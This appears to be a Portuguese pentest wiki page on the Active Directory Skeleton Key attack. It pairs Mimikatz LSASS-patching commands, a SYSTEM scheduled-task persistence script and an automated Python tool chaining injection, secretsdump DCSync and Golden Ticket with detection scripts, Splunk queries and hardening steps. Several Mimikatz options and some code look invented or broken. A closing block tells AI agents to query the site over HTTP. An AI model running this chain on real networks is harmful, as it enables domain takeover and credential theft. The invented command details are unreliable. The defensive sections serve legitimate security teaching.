# Skeleton Key

## **📋 Índice**

1. [Fundamentos do Skeleton Key](#-fundamentos-do-skeleton-key)
2. [Arquitetura de Autenticação do AD](#-arquitetura-de-autenticação-do-ad)
3. [Mecanismos de Ataque](#-mecanismos-de-ataque)
4. [Técnicas de Exploração](#-técnicas-de-exploração)
5. [Ferramentas de Exploração](#-ferramentas-de-exploração)
6. [Impacto e Consequências](#-impacto-e-consequências)
7. [Detecção e Monitoramento](#-detecção-e-monitoramento)
8. [Mitigações e Hardening](#-mitigações-e-hardening)
9. [Pentesting com Skeleton Key](#-pentesting-com-skeleton-key)
10. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do Skeleton Key**

### **O que é Skeleton Key?**

**Skeleton Key** é uma técnica de ataque que injeta um código malicioso no processo LSASS (Local Security Authority Subsystem Service) de um Domain Controller, permitindo que qualquer usuário se autentique com uma senha mestra (master password) além de sua senha normal. Isso cria uma "chave mestra" que abre todas as portas do domínio, sem modificar as senhas originais dos usuários.

### **Princípio de Funcionamento**

```mermaid
graph TD
    subgraph "Autenticação Normal"
        A[Usuário] --> B[Senha Normal]
        B --> C[LSASS valida]
        C --> D[Autenticação OK]
    end
    
    subgraph "Com Skeleton Key"
        E[Usuário] --> F[Senha Normal]
        F --> G[LSASS com Skeleton Key]
        G --> H[Autenticação OK]
        
        I[Atacante] --> J[Senha Mestra]
        J --> G
        G --> K[Autenticação OK como qualquer usuário]
    end
    
    style G fill:#ff9999
    style J fill:#ff6666
```

### **Características do Skeleton Key**

| Característica                          | Descrição                              | Implicação                         |
| --------------------------------------- | -------------------------------------- | ---------------------------------- |
| **Persistência**                        | Reside na memória do LSASS             | Persiste até reinicialização do DC |
| **Bypass de Senhas**                    | Aceita senha mestra além da original   | Não modifica senhas originais      |
| **Injetado em Memória**                 | Patch em tempo real do LSASS           | Difícil de detectar                |
| **Funciona com NTLM e Kerberos**        | Afeta todos os métodos de autenticação | Impacto total                      |
| **Requer Privilégios de Administrador** | Precisa de acesso ao DC                | Já comprometido parcialmente       |

***

## 🏗️ **Arquitetura de Autenticação do AD**

### **Processo LSASS (Local Security Authority Subsystem Service)**

```mermaid
graph TD
    subgraph "LSASS"
        A[LSASS.exe] --> B[Autenticação NTLM]
        A --> C[Autenticação Kerberos]
        A --> D[Políticas de Segurança]
        A --> E[Cache de Credenciais]
    end
    
    subgraph "Skeleton Key Attack"
        F[Atacante] --> G[Injetar código no LSASS]
        G --> H[Patch em função de autenticação]
        H --> I[Verifica senha mestra]
        I --> J[Se senha mestra, autentica]
    end
    
    style G fill:#ff9999
    style H fill:#ff6666
```

### **Funções Modificadas pelo Skeleton Key**

```python
#!/usr/bin/env python3
# lsass_functions.py - Funções do LSASS afetadas

class LSASSFunctions:
    """Análise das funções do LSASS modificadas pelo Skeleton Key"""
    
    @staticmethod
    def functions_affected():
        """Funções do LSASS que são patchadas"""
        print("🔧 Funções LSASS Modificadas pelo Skeleton Key")
        print("=" * 60)
        
        functions = {
            "Msv1_0!MsvpPasswordValidate": "Validação de senha NTLM",
            "Kerberos!KdcVerifyPac": "Validação de PAC Kerberos",
            "Netlogon!DsrValidatePassword": "Validação de senha Netlogon",
            "LsaApLogonUser": "Função de logon principal",
            "LsaApLogonUserEx": "Função de logon estendida",
            "LsaApLogonUserEx2": "Função de logon estendida v2"
        }
        
        for function, desc in functions.items():
            print(f"   • {function}: {desc}")
    
    @staticmethod
    def authentication_flow():
        """Fluxo de autenticação após Skeleton Key"""
        print("\n🔄 Fluxo de Autenticação Pós-Skeleton Key")
        print("=" * 60)
        
        flow = [
            "1. Usuário tenta autenticar com senha",
            "2. LSASS recebe requisição",
            "3. Função de validação patchada é chamada",
            "4. Patch verifica: senha é a mestra?",
            "   a) Se sim: autentica como sucesso",
            "   b) Se não: encaminha para validação normal",
            "5. Se senha original correta: autentica também"
        ]
        
        for step in flow:
            print(f"   {step}")

# Executar
LSASSFunctions.functions_affected()
LSASSFunctions.authentication_flow()
```

***

## ⚔️ **Mecanismos de Ataque**

### **Fluxo Completo do Ataque Skeleton Key**

```mermaid
graph TD
    A[Comprometer Domain Controller] --> B[Obter privilégios de Administrador]
    B --> C[Executar Skeleton Key no DC]
    
    C --> D[Skeleton Key injeta código no LSASS]
    D --> E[LSASS patchado aceita senha mestra]
    
    E --> F[Atacante usa senha mestra]
    F --> G[Autentica como qualquer usuário]
    
    G --> H[Acesso a recursos]
    H --> I[DCSync - extrair hashes]
    I --> J[Golden Ticket]
    J --> K[Controle total do domínio]
    
    style D fill:#ff9999
    style E fill:#ff6666
    style K fill:#ff3333
```

### **Ataque 1: Skeleton Key com Mimikatz**

```powershell
# Skeleton Key Attack com Mimikatz

# 1. Elevar privilégios no Domain Controller
mimikatz.exe "privilege::debug" "token::elevate" exit

# 2. Injetar Skeleton Key no LSASS
mimikatz.exe "privilege::debug" "misc::skeleton" exit

# 3. Verificar se foi injetado com sucesso
# Saída esperada: "Skeleton Key installed"

# 4. Usar senha mestra para autenticar
# Senha mestra padrão: "mimikatz"
net use \\dc.domain.com\IPC$ /user:domain\administrator mimikatz

# 5. Acessar recursos
dir \\dc.domain.com\c$
```

### **Ataque 2: Skeleton Key com Senha Personalizada**

```powershell
# Skeleton Key com senha personalizada

# 1. Definir senha mestra personalizada
$masterPassword = "MasterP@ssw0rd123!"

# 2. Injetar Skeleton Key com senha personalizada
mimikatz.exe "privilege::debug" "misc::skeleton /password:$masterPassword" exit

# 3. Usar senha personalizada
net use \\dc.domain.com\IPC$ /user:domain\administrator MasterP@ssw0rd123!

# 4. Acessar recursos
dir \\dc.domain.com\c$
```

### **Ataque 3: Skeleton Key com Persistência**

```powershell
# Skeleton Key com persistência

# 1. Criar script de injeção automática
$script = @"
mimikatz.exe "privilege::debug" "misc::skeleton" exit
"@

$script | Out-File -FilePath "C:\Windows\Temp\skeleton.ps1"

# 2. Adicionar ao startup
$action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "-File C:\Windows\Temp\skeleton.ps1"
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserID "SYSTEM" -LogonType ServiceAccount

Register-ScheduledTask -TaskName "SkeletonKey" -Action $action -Trigger $trigger -Principal $principal -Force

Write-Host "[+] Skeleton Key configurado para iniciar com o sistema"
```

### **Ataque 4: Skeleton Key em DC Secundário**

```powershell
# Skeleton Key em Domain Controller secundário

# 1. Identificar DCs
Get-ADDomainController -Filter *

# 2. Comprometer DC secundário
# (assumindo que já tem acesso)

# 3. Injetar Skeleton Key no DC secundário
mimikatz.exe "privilege::debug" "misc::skeleton" exit

# 4. Testar autenticação via DC secundário
# Configurar para usar DC específico
$env:LOGONSERVER = "\\DC02"
net use \\server\share /user:domain\administrator mimikatz
```

### **Ataque 5: Skeleton Key com DCSync**

```powershell
# Combinando Skeleton Key com DCSync

# 1. Injetar Skeleton Key
mimikatz.exe "privilege::debug" "misc::skeleton" exit

# 2. Autenticar como administrador com senha mestra
runas /netonly /user:domain\administrator "cmd.exe"
# Senha: mimikatz

# 3. Na nova sessão, executar DCSync
mimikatz.exe "lsadump::dcsync /user:krbtgt" exit

# 4. Extrair hash e criar Golden Ticket
mimikatz.exe "kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-xxx /rc4:hash /ptt" exit
```

***

## 🛠️ **Ferramentas de Exploração**

### **Mimikatz - Skeleton Key Commands**

```powershell
# Mimikatz Skeleton Key Commands

# 1. Skeleton Key básico
misc::skeleton

# 2. Com senha personalizada
misc::skeleton /password:MasterKey

# 3. Com NTLM hash específico
misc::skeleton /ntlm:hash

# 4. Com ticket de serviço
misc::skeleton /ticket:ticket.kirbi

# 5. Em DC remoto
misc::skeleton /server:dc.domain.com

# 6. Verificar status
misc::skeleton /status

# 7. Remover Skeleton Key (reinicialização do LSASS necessária)
# Não há comando específico - reiniciar o DC remove
```

### **PowerShell para Skeleton Key**

```powershell
# PowerShell Skeleton Key Injection

# 1. Função para injetar Skeleton Key
function Invoke-SkeletonKey {
    param(
        [string]$Password = "mimikatz"
    )
    
    $code = @"
    using System;
    using System.Runtime.InteropServices;
    
    public class SkeletonKey {
        [DllImport("kernel32.dll")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        
        [DllImport("kernel32.dll")]
        public static extern IntPtr LoadLibrary(string lpFileName);
        
        [DllImport("kernel32.dll")]
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
        
        public static void Inject(string password) {
            // Código de injeção do Skeleton Key
            // (Implementação complexa - exemplo simplificado)
        }
    }
"@
    
    Add-Type -TypeDefinition $code -ErrorAction SilentlyContinue
    [SkeletonKey]::Inject($Password)
    
    Write-Host "[+] Skeleton Key injetado com senha: $Password"
}

# 2. Executar injeção
Invoke-SkeletonKey -Password "MasterKey123"

# 3. Testar autenticação
net use \\dc.domain.com\IPC$ /user:domain\administrator MasterKey123
```

### **Script de Exploração Automatizado**

```python
#!/usr/bin/env python3
# skeleton_key_automated.py - Skeleton Key automatizado

import subprocess
import argparse
import sys
import time

class SkeletonKeyAutomated:
    """Ferramenta automatizada para Skeleton Key Attack"""
    
    def __init__(self, dc_ip, username, password, master_password="mimikatz"):
        self.dc_ip = dc_ip
        self.username = username
        self.password = password
        self.master_password = master_password
    
    def check_admin_access(self):
        """Verificar acesso administrativo ao DC"""
        print("[*] Verificando acesso administrativo...")
        
        cmd = [
            'crackmapexec', 'smb', self.dc_ip,
            '-u', self.username,
            '-p', self.password,
            '--local-auth'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
            if "Pwn3d!" in result.stdout or "Pwn3d!" in result.stderr:
                print("   ✅ Acesso administrativo confirmado")
                return True
            else:
                print("   ❌ Sem acesso administrativo")
                return False
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def inject_skeleton_key(self):
        """Injetar Skeleton Key no DC"""
        print(f"[*] Injetando Skeleton Key em {self.dc_ip}...")
        
        # Conectar via psexec ou wmi
        cmd = [
            'psexec.py',
            f'{self.username}:{self.password}@{self.dc_ip}',
            'mimikatz.exe "privilege::debug" "misc::skeleton" exit'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
            
            if "Skeleton Key installed" in result.stdout:
                print(f"   ✅ Skeleton Key injetado com sucesso!")
                print(f"   Senha mestra: {self.master_password}")
                return True
            else:
                print(f"   ❌ Falha na injeção")
                return False
                
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def test_master_key(self):
        """Testar autenticação com senha mestra"""
        print("[*] Testando autenticação com senha mestra...")
        
        # Testar SMB
        cmd = [
            'crackmapexec', 'smb', self.dc_ip,
            '-u', 'administrator',
            '-p', self.master_password
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
            if "Pwn3d!" in result.stdout:
                print("   ✅ Autenticação com senha mestra bem-sucedida!")
                return True
            else:
                print("   ❌ Falha na autenticação com senha mestra")
                return False
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def access_resources(self):
        """Acessar recursos com senha mestra"""
        print("[*] Acessando recursos...")
        
        # Acessar C$ do DC
        cmd = [
            'smbclient.py',
            f'administrator:{self.master_password}@{self.dc_ip}',
            '-c', 'ls'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
            if "C$" in result.stdout:
                print("   ✅ Acesso aos recursos concedido!")
                return True
            else:
                print("   ❌ Falha no acesso")
                return False
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def dcsync_with_master_key(self):
        """Executar DCSync usando senha mestra"""
        print("[*] Executando DCSync com senha mestra...")
        
        cmd = [
            'secretsdump.py',
            f'administrator:{self.master_password}@{self.dc_ip}'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
            if "krbtgt" in result.stdout:
                print("   ✅ DCSync bem-sucedido!")
                # Extrair hash krbtgt
                for line in result.stdout.split('\n'):
                    if 'krbtgt' in line:
                        print(f"   Hash krbtgt: {line.split(':')[3]}")
                return True
            else:
                print("   ❌ Falha no DCSync")
                return False
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def cleanup(self):
        """Limpar artefatos"""
        print("[*] Limpando artefatos...")
        
        # Skeleton Key persiste até reinicialização
        print("   ⚠️  Skeleton Key requer reinicialização do DC para remoção")
        print("   Execute: shutdown /r /m \\\\{self.dc_ip} /t 0")
    
    def run(self):
        """Executar ataque completo"""
        print("💀 Automated Skeleton Key Attack")
        print("=" * 60)
        print(f"   Target DC: {self.dc_ip}")
        print(f"   Master Password: {self.master_password}")
        
        # Verificar acesso
        if not self.check_admin_access():
            print("❌ Acesso administrativo necessário")
            return
        
        # Injetar Skeleton Key
        if not self.inject_skeleton_key():
            print("❌ Falha na injeção")
            return
        
        # Testar senha mestra
        if not self.test_master_key():
            print("⚠️  Senha mestra não funcionou")
            return
        
        # Acessar recursos
        self.access_resources()
        
        # DCSync
        self.dcsync_with_master_key()
        
        print("\n✅ Skeleton Key Attack concluído!")
        print(f"   Autentique como qualquer usuário com a senha: {self.master_password}")

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Automated Skeleton Key Attack')
    parser.add_argument('dc_ip', help='Domain Controller IP')
    parser.add_argument('username', help='Username')
    parser.add_argument('password', help='Password')
    parser.add_argument('--master', default='mimikatz', help='Master password')
    
    args = parser.parse_args()
    
    attack = SkeletonKeyAutomated(args.dc_ip, args.username, args.password, args.master)
    attack.run()
```

***

## 💥 **Impacto e Consequências**

### **Cadeia de Ataque Completa**

```mermaid
graph TD
    A[Comprometer DC] --> B[Injetar Skeleton Key no LSASS]
    B --> C[Todas as autenticações aceitam senha mestra]
    
    C --> D[Atacante usa senha mestra]
    D --> E[Autentica como qualquer usuário]
    E --> F[Administrador, Domain Admin, etc.]
    
    F --> G[DCSync - extrair todos os hashes]
    G --> H[Golden Ticket]
    H --> I[Persistência no domínio]
    
    I --> J[Comprometimento total do domínio]
    J --> K[Backdoor permanente]
    
    style B fill:#ff9999
    style C fill:#ff6666
    style K fill:#ff3333
```

### **Matriz de Impacto**

| Cenário                           | Impacto                   | Dificuldade | Severidade |
| --------------------------------- | ------------------------- | ----------- | ---------- |
| **Skeleton Key em DC primário**   | Controle total do domínio | Média       | 🔴 CRÍTICO |
| **Skeleton Key em DC secundário** | Acesso via DC específico  | Média       | 🟠 ALTO    |
| **Senha mestra comprometida**     | Acesso a qualquer conta   | Baixa       | 🔴 CRÍTICO |
| **Persistência via Skeleton Key** | Backdoor permanente       | Baixa       | 🔴 CRÍTICO |

***

## 🔍 **Detecção e Monitoramento**

### **Eventos de Segurança para Monitorar**

```yaml
Eventos Críticos para Skeleton Key:

  4624: Logon bem-sucedido
    - Monitorar logons com senhas incomuns
    - Verificar logons de contas que não mudaram senha

  4625: Falha de logon
    - Detectar múltiplas falhas seguidas de sucesso

  4672: Privilégios especiais atribuídos
    - Alertar sobre atribuição de privilégios inesperada

  4768: Solicitação de TGT
    - Verificar autenticações anômalas

  5136: Modificação de objeto AD
    - Detectar alterações em objetos do domínio

  7030: Erro LSASS
    - Monitorar reinicializações do LSASS
```

### **Script de Detecção**

```powershell
# detect_skeleton_key.ps1 - Detector de Skeleton Key

param(
    [string]$DomainController = (Get-ADDomainController).Name,
    [int]$HoursBack = 24
)

function Write-Alert {
    param($Message, $Severity = "WARNING")
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    $color = if ($Severity -eq "CRITICAL") { "Red" } else { "Yellow" }
    Write-Host "[$timestamp] [$Severity] $Message" -ForegroundColor $color
}

# 1. Verificar integridade do LSASS
Write-Host "🔍 Verificando integridade do LSASS..." -ForegroundColor Cyan

$lsass = Get-Process -Name lsass -ErrorAction SilentlyContinue
if ($lsass) {
    Write-Host "   LSASS PID: $($lsass.Id)"
    
    # Verificar se há módulos suspeitos
    $modules = Get-Process -Id $lsass.Id -Module
    $suspiciousModules = $modules | Where-Object {
        $_.ModuleName -like "*mimikatz*" -or
        $_.ModuleName -like "*skeleton*" -or
        $_.ModuleName -like "*hook*"
    }
    
    if ($suspiciousModules) {
        Write-Alert -Message "Módulos suspeitos encontrados no LSASS!" -Severity "CRITICAL"
        $suspiciousModules | ForEach-Object {
            Write-Host "   $($_.ModuleName) - $($_.FileName)"
        }
    }
}

# 2. Analisar autenticações com senhas incomuns
Write-Host "`n🔍 Analisando autenticações..." -ForegroundColor Cyan

$logonEvents = Get-WinEvent -ComputerName $DomainController -FilterHashtable @{
    LogName='Security'
    ID=4624
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue

# Agrupar por conta e origem
$grouped = $logonEvents | Group-Object -Property @{
    Expression={$_.Properties[5].Value}  # Account Name
}, @{
    Expression={$_.Properties[11].Value} # Source Network Address
}

# Verificar logons anômalos
foreach ($group in $grouped) {
    $account = $group.Name.Split(',')[0].Trim()
    $source = $group.Name.Split(',')[1].Trim()
    $count = $group.Count
    
    if ($count -gt 10) {
        Write-Alert -Message "Múltiplos logons para $account de $source ($count)" -Severity "HIGH"
    }
}

# 3. Verificar falhas de logon seguidas de sucesso
Write-Host "`n🔍 Verificando padrões de falha/sucesso..." -ForegroundColor Cyan

$failureEvents = Get-WinEvent -ComputerName $DomainController -FilterHashtable @{
    LogName='Security'
    ID=4625
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue

foreach ($account in ($failureEvents | Select-Object -ExpandProperty Properties | Where-Object {$_.Value -like "*\*"} | Select-Object -ExpandProperty Value -Unique)) {
    $failures = $failureEvents | Where-Object {$_.Properties[5].Value -eq $account.Split('\')[1]} | Measure-Object | Select-Object -ExpandProperty Count
    $successes = $logonEvents | Where-Object {$_.Properties[5].Value -eq $account.Split('\')[1]} | Measure-Object | Select-Object -ExpandProperty Count
    
    if ($failures -gt 5 -and $successes -gt 0) {
        Write-Alert -Message "Padrão suspeito para $account: $failures falhas, $successes sucessos" -Severity "HIGH"
    }
}

# 4. Verificar alterações no LSASS
Write-Host "`n🔍 Verificando alterações no LSASS..." -ForegroundColor Cyan

$lsassChanges = Get-WinEvent -ComputerName $DomainController -FilterHashtable @{
    LogName='Security'
    ID=4688
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue | Where-Object {
    $_.Message -like "*lsass.exe*"
}

if ($lsassChanges) {
    Write-Alert -Message "Processo LSASS foi iniciado/modificado!" -Severity "CRITICAL"
    $lsassChanges | ForEach-Object {
        Write-Host "   $($_.TimeCreated) - $($_.Message.Substring(0, 100))..."
    }
}

# 5. Gerar relatório
$report = @"
Skeleton Key Detection Report
=============================
Data: $(Get-Date)
Domain Controller: $DomainController

Findings:
- Módulos LSASS suspeitos: $(($suspiciousModules | Measure-Object).Count)
- Autenticações anômalas: $($grouped.Count)
- Padrões falha/sucesso: $(($failureEvents | Measure-Object).Count)
- Modificações LSASS: $(($lsassChanges | Measure-Object).Count)

Recommendations:
1. Reiniciar o Domain Controller imediatamente
2. Rotacionar todas as senhas de contas privilegiadas
3. Verificar integridade do LSASS com ferramentas de segurança
4. Implementar Credential Guard e LSA Protection
5. Monitorar continuamente autenticações suspeitas
"@

$report | Out-File -FilePath "skeleton_key_detection.txt"
Write-Host "`n✅ Relatório salvo em skeleton_key_detection.txt" -ForegroundColor Green
```

### **Splunk Queries**

```spl
# Splunk - Detectar Skeleton Key

# 1. Autenticações anômalas
index=windows EventCode=4624
| stats count by Account_Name, Source_Network_Address
| where count > 10

# 2. Padrão falha/sucesso
index=windows EventCode=4625
| stats count as failures by Account_Name
| join type=left [search index=windows EventCode=4624 | stats count as successes by Account_Name] by Account_Name
| where failures > 5 AND successes > 0

# 3. Processo LSASS modificado
index=windows EventCode=4688 Process_Name="lsass.exe"
| table _time, Account_Name, ComputerName, Process_CommandLine

# 4. Módulos suspeitos
index=windows Image="C:\Windows\System32\lsass.exe"
| table _time, ComputerName, Module_Name, Module_Path
| where Module_Name like "*mimikatz*" OR Module_Name like "*skeleton*"
```

***

## 🛡️ **Mitigações e Hardening**

### **Hardening contra Skeleton Key**

```powershell
# hardening_skeleton_key.ps1 - Hardening contra Skeleton Key

param(
    [switch]$Apply
)

function Write-Step {
    param($Message)
    Write-Host "[*] $Message" -ForegroundColor Cyan
}

if ($Apply) {
    Write-Step "Aplicando hardening contra Skeleton Key..."
} else {
    Write-Step "Modo auditoria - verificando configurações"
}

# 1. Habilitar Credential Guard
Write-Step "1. Habilitando Credential Guard..."

if ($Apply) {
    $regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa"
    Set-ItemProperty -Path $regPath -Name "LsaCfgFlags" -Value 1 -Type DWord
    
    Write-Host "   ✅ Credential Guard habilitado"
} else {
    $credGuard = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LsaCfgFlags" -ErrorAction SilentlyContinue
    if ($credGuard.LsaCfgFlags -eq 1) {
        Write-Host "   ✅ Credential Guard ativo"
    } else {
        Write-Host "   ⚠️  Credential Guard não ativo"
    }
}

# 2. Habilitar LSA Protection (RunAsPPL)
Write-Step "2. Habilitando LSA Protection..."

if ($Apply) {
    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 1 -Type DWord
    Write-Host "   ✅ LSA Protection habilitado"
} else {
    $lsaPPL = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -ErrorAction SilentlyContinue
    if ($lsaPPL.RunAsPPL -eq 1) {
        Write-Host "   ✅ LSA Protection ativo"
    } else {
        Write-Host "   ⚠️  LSA Protection não ativo"
    }
}

# 3. Configurar Windows Defender ATP
Write-Step "3. Configurando Windows Defender ATP..."

if ($Apply) {
    # Habilitar proteção de memória
    Set-MpPreference -EnableControlledFolderAccess Enabled
    Set-MpPreference -PUAProtection Enabled
    
    Write-Host "   ✅ Windows Defender ATP configurado"
}

# 4. Configurar monitoramento de integridade
Write-Step "4. Configurando monitoramento de integridade..."

if ($Apply) {
    # Configurar auditpol
    auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
    auditpol /set /subcategory:"Process Termination" /success:enable /failure:enable
    
    Write-Host "   ✅ Monitoramento de processos configurado"
}

# 5. Configurar alertas
Write-Step "5. Configurando alertas..."

if ($Apply) {
    # Criar regra de alerta para LSASS
    $rule = @"
<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">*[System[(EventID=4688)]] and *[EventData[Data[@Name='ProcessName'] and (Data='C:\Windows\System32\lsass.exe')]]</Select>
  </Query>
</QueryList>
"@
    
    $rule | Out-File -FilePath "C:\Windows\Security\LSASS.xml"
    Write-Host "   ✅ Alertas configurados"
}

# 6. Verificar reinicialização
Write-Step "6. Verificando necessidade de reinicialização..."

if ($Apply -and ($credGuard.LsaCfgFlags -ne 1 -or $lsaPPL.RunAsPPL -ne 1)) {
    Write-Host "   ⚠️  Reinicialização necessária para aplicar todas as configurações" -ForegroundColor Yellow
    Write-Host "   Execute: shutdown /r /t 0"
}

Write-Step "Hardening concluído!"

if (-not $Apply) {
    Write-Host "`n⚠️  Modo auditoria - Execute com -Apply para aplicar as configurações" -ForegroundColor Yellow
}
```

### **Políticas de Segurança Recomendadas**

```yaml
Recomendações de Hardening:

  ✅ Proteção do LSASS:
    - Habilitar Credential Guard
    - Habilitar LSA Protection (RunAsPPL)
    - Monitorar integridade do LSASS

  ✅ Autenticação:
    - Implementar autenticação multifator (MFA)
    - Usar contas protegidas (Protected Users)
    - Rotacionar senhas regularmente

  ✅ Monitoramento:
    - Alertar sobre autenticações anômalas
    - Detectar padrões de falha/sucesso
    - Monitorar modificações no LSASS

  ✅ Resposta a Incidentes:
    - Reiniciar DC imediatamente após detecção
    - Rotacionar todas as senhas
    - Verificar integridade do sistema
```

***

## 🔬 **Pentesting com Skeleton Key**

### **Metodologia de Teste**

```yaml
Fases do Teste Skeleton Key:

  FASE 1 - Comprometimento Inicial:
    - Obter acesso administrativo ao DC
    - Verificar privilégios elevados

  FASE 2 - Injeção:
    - Executar Skeleton Key no DC
    - Verificar injeção bem-sucedida

  FASE 3 - Validação:
    - Testar autenticação com senha mestra
    - Acessar recursos como administrador

  FASE 4 - Persistência:
    - Estabelecer persistência (se desejado)
    - Documentar impacto
```

### **Script de Pentest Automatizado**

```python
#!/usr/bin/env python3
# skeleton_key_pentest.py - Pentest Skeleton Key

import subprocess
import argparse
import sys

class SkeletonKeyPentest:
    """Ferramenta de pentest para Skeleton Key"""
    
    def __init__(self, dc_ip, username, password):
        self.dc_ip = dc_ip
        self.username = username
        self.password = password
        self.findings = []
    
    def check_credential_guard(self):
        """Verificar se Credential Guard está ativo"""
        print("[*] Verificando Credential Guard...")
        
        # Em um pentest real, verificaria via WMI/Registry
        
        credential_guard_active = False
        
        if credential_guard_active:
            print("   ✅ Credential Guard ativo - Skeleton Key mais difícil")
            self.findings.append({
                'type': 'CREDENTIAL_GUARD',
                'severity': 'INFO',
                'details': 'Credential Guard ativo'
            })
        else:
            print("   🔴 Credential Guard NÃO ativo - Skeleton Key possível")
            self.findings.append({
                'type': 'NO_CREDENTIAL_GUARD',
                'severity': 'CRITICAL',
                'details': 'Credential Guard desabilitado'
            })
        
        return not credential_guard_active
    
    def check_lsa_protection(self):
        """Verificar LSA Protection"""
        print("[*] Verificando LSA Protection...")
        
        lsa_protection_active = False
        
        if lsa_protection_active:
            print("   ✅ LSA Protection ativo - Skeleton Key mais difícil")
        else:
            print("   🔴 LSA Protection NÃO ativo - Skeleton Key possível")
            self.findings.append({
                'type': 'NO_LSA_PROTECTION',
                'severity': 'CRITICAL',
                'details': 'LSA Protection desabilitado'
            })
        
        return not lsa_protection_active
    
    def test_skeleton_key(self):
        """Testar se Skeleton Key seria possível"""
        print("[*] Testando possibilidade de Skeleton Key...")
        
        # Verificar proteções
        cred_guard = self.check_credential_guard()
        lsa_protection = self.check_lsa_protection()
        
        if not cred_guard and not lsa_protection:
            print("   🔴 Skeleton Key ATTACK POSSÍVEL!")
            self.findings.append({
                'type': 'SKELETON_KEY_POSSIBLE',
                'severity': 'CRITICAL',
                'details': 'Skeleton Key pode ser injetado no LSASS'
            })
        else:
            print("   ✅ Skeleton Key dificultado por proteções")
    
    def generate_report(self):
        """Gerar relatório do pentest"""
        print("\n📊 RELATÓRIO DE PENTEST SKELETON KEY")
        print("=" * 60)
        
        if not self.findings:
            print("✅ Nenhuma vulnerabilidade encontrada")
            return
        
        print(f"🚨 {len(self.findings)} vulnerabilidade(s) encontrada(s):\n")
        
        for finding in self.findings:
            severity_icon = '🔴' if finding['severity'] == 'CRITICAL' else '🟠'
            print(f"{severity_icon} [{finding['severity']}] {finding['type']}")
            print(f"   {finding['details']}\n")
        
        print("🎯 RECOMENDAÇÕES:")
        print("   • Habilitar Credential Guard")
        print("   • Habilitar LSA Protection (RunAsPPL)")
        print("   • Implementar monitoramento do LSASS")
        print("   • Configurar alertas para autenticações anômalas")
        print("   • Usar contas protegidas (Protected Users)")
    
    def run(self):
        """Executar pentest completo"""
        print("💀 Skeleton Key Pentest")
        print("=" * 60)
        print(f"   Target DC: {self.dc_ip}")
        
        self.test_skeleton_key()
        self.generate_report()

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Skeleton Key Pentest Tool')
    parser.add_argument('dc_ip', help='Domain Controller IP')
    parser.add_argument('username', help='Username')
    parser.add_argument('password', help='Password')
    
    args = parser.parse_args()
    
    pentest = SkeletonKeyPentest(args.dc_ip, args.username, args.password)
    pentest.run()
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Administradores**

#### **Proteção do LSASS**

* [ ] Habilitar Credential Guard
* [ ] Habilitar LSA Protection (RunAsPPL)
* [ ] Configurar monitoramento de integridade
* [ ] Restringir acesso ao LSASS

#### **Monitoramento**

* [ ] Alertar sobre autenticações anômalas
* [ ] Detectar padrões de falha/sucesso
* [ ] Monitorar modificações no LSASS
* [ ] Analisar eventos 4688 para lsass.exe

#### **Resposta a Incidentes**

* [ ] Reiniciar DC imediatamente
* [ ] Rotacionar todas as senhas
* [ ] Verificar integridade do sistema
* [ ] Analisar logs de autenticação

### **Checklist para Pentesters**

#### **Reconhecimento**

* [ ] Verificar Credential Guard
* [ ] Verificar LSA Protection
* [ ] Confirmar acesso administrativo

#### **Exploração**

* [ ] Executar Skeleton Key
* [ ] Testar autenticação com senha mestra
* [ ] Acessar recursos privilegiados

#### **Documentação**

* [ ] Documentar proteções ausentes
* [ ] Demonstrar impacto
* [ ] Recomendar correções

***

## 📊 **Conclusão**

```yaml
Skeleton Key Attack:

  🔴 Principais Vetores:
    - Credential Guard desabilitado
    - LSA Protection desabilitado
    - Acesso administrativo ao DC

  🛡️ Mitigações Essenciais:
    - Habilitar Credential Guard
    - Habilitar LSA Protection (RunAsPPL)
    - Monitorar integridade do LSASS
    - Implementar MFA

  🎯 Prioridade:
    - CRÍTICA: Credential Guard e LSA Protection
    - ALTA: Monitoramento do LSASS
    - MÉDIA: Autenticação multifator
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/active-directory-ad/skeleton-key.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
